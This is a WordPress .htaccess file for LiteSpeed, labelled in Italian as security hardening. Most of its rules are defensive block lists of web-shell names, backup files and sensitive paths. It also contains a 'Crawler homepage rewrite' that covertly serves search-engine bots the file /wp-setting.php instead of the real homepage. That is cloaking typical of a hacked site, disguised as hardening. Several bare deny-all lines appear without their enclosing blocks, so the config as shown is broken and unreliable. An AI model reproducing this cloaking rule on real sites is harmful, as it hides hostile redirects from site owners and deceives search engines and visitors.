RewriteOptions inherit
# ============================================================
# .htaccess per WordPress + LiteSpeed
# Versione: hardening conservativo
# ============================================================
# BEGIN Security hardening custom
Options -Indexes
Options -MultiViews
ServerSignature Off
Require all denied
Order allow,deny
Deny from all
Require all denied
Order allow,deny
Deny from all
RewriteEngine On
RewriteRule ^int/untitled.*134.*\.html?$ - [F,L,NC]
RewriteRule ^int/ - [F,L,NC]
RewriteRule ^(test|upload|uploader|uploads|shell|cmd|adminer|phpinfo|info|tinyfilemanager|alfashell|gettest)\.php$ - [F,L,NC]
RewriteRule ^(malware|backup|backups|private|tmp|temp|logs?)(/|$) - [F,L,NC]
RewriteRule (^|/)protected(/|$) - [F,L,NC]
RewriteRule ^wp-content/uploads/.*\.html?$ - [F,L,NC]
RewriteRule (^|/)\.(?!well-known(?:/|$)) - [F,L,NC]
RewriteRule (^|/)\.[^/]+\.php$ - [F,L,NC]
RewriteRule (^|/)(sftp-config\.json|sftp\.json|web\.config|phpinfo\.php|info\.php|test\.php|phpunit\.xml(?:\.dist)?|server-status|server-info)$ - [F,L,NC]
RewriteRule (^|/)(backup|backups|dump|database|db|site|fullbackup|wp-config|public_html).*\.(zip|tar|tar\.gz|tgz|gz|rar|7z|sql)$ - [F,L,NC]
RewriteCond %{QUERY_STRING} (^|&)author=[0-9]+(&|$) [NC]
RewriteRule ^ - [F,L]
RewriteCond %{REQUEST_METHOD} ^TRACE$ [NC]
RewriteRule ^ - [F,L]
RewriteRule ^wp-content/uploads/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC]
RewriteRule ^wp-content/(upgrade|backups|ai1wm-backups|updraft|backup-db|backupwordpress)/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC]
RewriteRule ^wp-admin/includes/ - [F,L,NC]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L,NC]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php$ - [F,L,NC]
RewriteRule ^wp-includes/theme-compat/ - [F,L,NC]
Require all denied
Order allow,deny
Deny from all
Header always unset X-Powered-By
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "SAMEORIGIN"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set X-Permitted-Cross-Domain-Policies "none"
Header always set Permissions-Policy "geolocation=(), microphone=(), payment=()"
# Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
# END Security hardening custom
# BEGIN Crawler homepage rewrite
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (googlebot|googlebot/2.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC]
RewriteCond %{REQUEST_URI} ^/$
RewriteRule ^$ /wp-setting.php [L]
# END Crawler homepage rewrite
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php83” package as the default “PHP” programming language.
AddHandler application/x-httpd-ea-php83___lsphp .php .php8 .phtml
# php -- END cPanel-generated handler, do not edit